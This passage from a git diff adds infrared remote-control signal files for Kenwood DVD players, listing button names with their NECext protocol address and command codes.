+name: FRAME_<< +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 14 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 14 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 14 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 14 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 15 00 00 00 +# +name: FF/CHARAC +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 15 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 15 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 15 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 15 00 00 00 +# +name: CHARACTER +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 15 00 00 00 +# +name: <<<< +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 16 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 16 00 00 00 +# +name: /<< +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 16 00 00 00 +# +name: PREVIOUS_TRACK +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 16 00 00 00 +# +name: >>>> +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 17 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 17 00 00 00 +# +name: >>/ +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 17 00 00 00 +# +name: NEXT_TRACK +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 17 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 19 00 00 00 +# +name: B._/REPEAT +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 19 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 1A 00 00 00 +# +name: CLEAR_/N +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 1A 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 1A 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 1B 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 1C 00 00 00 +# +name: P.MODE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 1F 00 00 00 +# +name: PGM_/J +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 1F 00 00 00 +# +name: P._MODE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 1F 00 00 00 +# +name: PROGRAM_(PGM) +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 1F 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 40 00 00 00 +# +name: A-B_REPEAT +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 43 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 43 00 00 00 +# +name: DISC_SEL +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4C 00 00 00 +# +name: DISC_SEL._/G +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4C 00 00 00 +# +name: DISC_SEL. +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4C 00 00 00 +# +name: DISC_UP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4D 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4D 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4D 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4D 00 00 00 +# +name: DIC_DOWN +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4E 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4E 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4E 00 00 00 +# +name: A-_/RANDOM +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4F 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4F 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 51 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 52 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 53 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 54 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 55 00 00 00 +# +name: STEP_- +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 58 00 00 00 +# +name: STEP_+ +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 59 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 5A 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 5B 00 00 00 +# +name: TIME_DISP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 5E 00 00 00 +# +name: TIME_/I +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 5E 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 5F 00 00 00 +# +name: D'_PLUS1 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 80 00 00 00 +# +name: PLUS_1 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 80 00 00 00 +# +name: E(_PLUS2 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 81 00 00 00 +# +name: PLUS_2 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 81 00 00 00 +# +name: F)_PLUS3 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 82 00 00 00 +# +name: PLUS_3 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 82 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 88 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 89 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 8C 00 00 00 +# +name: DISP._/H +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 8C 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 8C 00 00 00 +# +name: DISP._BRIGHTNESS +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 8C 00 00 00 +# +name: ALL_DATA_READ +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 8F 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 90 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 91 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 91 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 91 00 00 00 +# +name: TITLE_INPUT +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 92 00 00 00 +# +name: USER_FILE_NAME +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 95 00 00 00 +# +name: TEXT_DISP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 96 00 00 00 +# +name: ALL_INFO +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 97 00 00 00 +# +name: T.SEARCH +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 98 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C0 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C0 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C1 00 00 00 +# +name: TOP_MENU/FOLDER +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C1 00 00 00 +# +name: TOP_MENU/FOLDER_SEAR +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C1 00 00 00 +# +name: MP3_FOLDER_SEARCH +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C1 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C2 00 00 00 +# +name: MENU/FILE_S. +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C2 00 00 00 +# +name: FILE_SEARCH_/_MENU +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C2 00 00 00 +# +name: MP3_FILE_SEARCH +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C2 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C3 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C4 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C5 00 00 00 +# +name: SUBTITLE_ON/OFF +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C6 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C8 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C9 00 00 00 +# +name: C/_AUDIO +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C9 00 00 00 +# +name: P.B.C. +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: CB 00 00 00 +# +name: P.AUDIO +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: CC 00 00 00 +# +name: PURE_AUDIO_/R +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: CC 00 00 00 +# +name: PURE_AUDIO +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: CC 00 00 00 +# +name: SQ.MODE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: CD 00 00 00 +# +name: SEQ._MODE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: CD 00 00 00 +# +name: DISC_FLIP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: CE 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: CF 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D1 00 00 00 +# +name: /\_/V_SEQ._PAGE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D1 00 00 00 +# +name: SEQ._PAGE_UP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D1 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D2 00 00 00 +# +name: \/_/Z_SEQ.PAGE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D2 00 00 00 +# +name: SEQ_PAGE_DOWN +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D2 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D3 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D3 00 00 00 +# +name: INDEX_+ +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D4 00 00 00 +# +name: INDEX_- +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D5 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D6 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D6 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D7 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D7 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D8 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D8 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D9 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: D9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir new file mode 100644 index 000000000..12270644f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: @ +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 40 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 41 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 42 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 43 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 44 00 00 00 +# +name: E +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 45 00 00 00 +# +name: F +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 46 00 00 00 +# +name: G +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 47 00 00 00 +# +name: H +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 48 00 00 00 +# +name: I +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 49 00 00 00 +# +name: J +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4A 00 00 00 +# +name: K +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4B 00 00 00 +# +name: L +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4C 00 00 00 +# +name: M +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4D 00 00 00 +# +name: N +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4E 00 00 00 +# +name: O +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4F 00 00 00 +# +name: P +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 50 00 00 00 +# +name: Q +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 51 00 00 00 +# +name: R +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 52 00 00 00 +# +name: S +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 53 00 00 00 +# +name: T +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 54 00 00 00 +# +name: U +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 55 00 00 00 +# +name: V +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 56 00 00 00 +# +name: W +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 57 00 00 00 +# +name: X +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 58 00 00 00 +# +name: Z +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 5A 00 00 00 +# +name: ^ +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 5E 00 00 00 +# +name: & +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 5F 00 00 00 +# +name: SPACE +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 80 00 00 00 +# +name: ! +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 81 00 00 00 +# +name: # +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 83 00 00 00 +# +name: $ +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 84 00 00 00 +# +name: ( +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 88 00 00 00 +# +name: ) +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 89 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 8A 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 8B 00 00 00 +# +name: _ +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 8D 00 00 00 +# +name: : +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 9A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir new file mode 100644 index 000000000..c726e2116 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir @@ -0,0 +1,998 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 00 00 00 00 +# +name: 0_/X +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 01 00 00 00 +# +name: 1_/K +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 02 00 00 00 +# +name: 2_/L +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 03 00 00 00 +# +name: 3_/M +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 04 00 00 00 +# +name: 4_/O +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 05 00 00 00 +# +name: 5_/P +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 06 00 00 00 +# +name: 6_/Q +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 07 00 00 00 +# +name: 7_/S +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 08 00 00 00 +# +name: 8_/T +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 09 00 00 00 +# +name: 9_/U +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 09 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 0A 00 00 00 +# +name: Y_/+10 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 0A 00 00 00 +# +name: +100 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 0B 00 00 00 +# +name: W_+100 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 0B 00 00 00 +# +name: +_100 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 0B 00 00 00 +# +name: MAIN_ACTIVE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 0C 00 00 00 +# +name: MAIN +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 0C 00 00 00 +# +name: SUB1 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 0D 00 00 00 +# +name: SUB_1 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 0D 00 00 00 +# +name: SUB2 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 0E 00 00 00 +# +name: SUB_2 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 0E 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 11 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 12 00 00 00 +# +name: PAUSE/SPACE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 12 00 00 00 +# +name: SPACE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 12 00 00 00 +# +name: >PLAY +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 13 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 13 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 14 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 14 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 14 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 14 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 14 00 00 00 +# +name: REW/DELETE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 14 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 14 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 14 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 15 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 15 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 15 00 00 00 +# +name: FF/CHARAC +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 15 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 15 00 00 00 +# +name: CHARACTER +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 15 00 00 00 +# +name: <<<< +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 16 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 16 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 16 00 00 00 +# +name: /<< +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 16 00 00 00 +# +name: PREVIOUS_TRACK +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 16 00 00 00 +# +name: >>>> +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 17 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 17 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 17 00 00 00 +# +name: >>/ +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 17 00 00 00 +# +name: NEXT_TRACK +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 17 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 19 00 00 00 +# +name: B._/REPEAT +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 19 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 1A 00 00 00 +# +name: CLEAR_/N +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 1A 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 1A 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 1B 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 1C 00 00 00 +# +name: PGM +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 1F 00 00 00 +# +name: P.MODE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 1F 00 00 00 +# +name: PGM_/J +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 1F 00 00 00 +# +name: PROGRAM_(PGM) +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 1F 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 40 00 00 00 +# +name: A-B_REPEAT +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 43 00 00 00 +# +name: DISC_SEL +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4C 00 00 00 +# +name: DISK_SEL. +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4C 00 00 00 +# +name: DISC_SEL._/G +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4C 00 00 00 +# +name: DISC_SEL. +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4C 00 00 00 +# +name: DISC_UP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4D 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4D 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4D 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4D 00 00 00 +# +name: DIC_DOWN +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4E 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4E 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4E 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4F 00 00 00 +# +name: A-_/RANDOM +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 4F 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 51 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 52 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 53 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 54 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 55 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 5E 00 00 00 +# +name: TIME_DISP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 5E 00 00 00 +# +name: TIME_/I +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 5E 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 5F 00 00 00 +# +name: PLUS_1 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 80 00 00 00 +# +name: D'_PLUS1 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 80 00 00 00 +# +name: PLUS_2 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 81 00 00 00 +# +name: E(_PLUS2 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 81 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 82 00 00 00 +# +name: PLUS_3 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 82 00 00 00 +# +name: F)_PLUS3 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 82 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 88 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 89 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 8C 00 00 00 +# +name: DISP. +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 8C 00 00 00 +# +name: DISP._/H +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 8C 00 00 00 +# +name: DISP._BRIGHTNESS +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 8C 00 00 00 +# +name: ALL_DATA_READ +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 8F 00 00 00 +# +name: LIBRARY +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 90 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 91 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 91 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 91 00 00 00 +# +name: TITLE_INPUT +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 92 00 00 00 +# +name: USER_FILE_NAME +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 95 00 00 00 +# +name: TEXT_DISP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 96 00 00 00 +# +name: ALL_INFO +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 97 00 00 00 +# +name: T.SEARCH +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 98 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C0 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C0 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C1 00 00 00 +# +name: TOP_MENU/FOLDER +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C1 00 00 00 +# +name: TOP_MENU/FOLDER_SEAR +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C1 00 00 00 +# +name: MP3_FOLDER_SEARCH +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C1 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C2 00 00 00 +# +name: MENU/FILE_S. +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C2 00 00 00 +# +name: FILE_SEARCH_/_MENU +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C2 00 00 00 +# +name: MP3_FILE_SEARCH +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C2 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C4 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: C8 00 00 00 +# +name: AUDIO_MODE 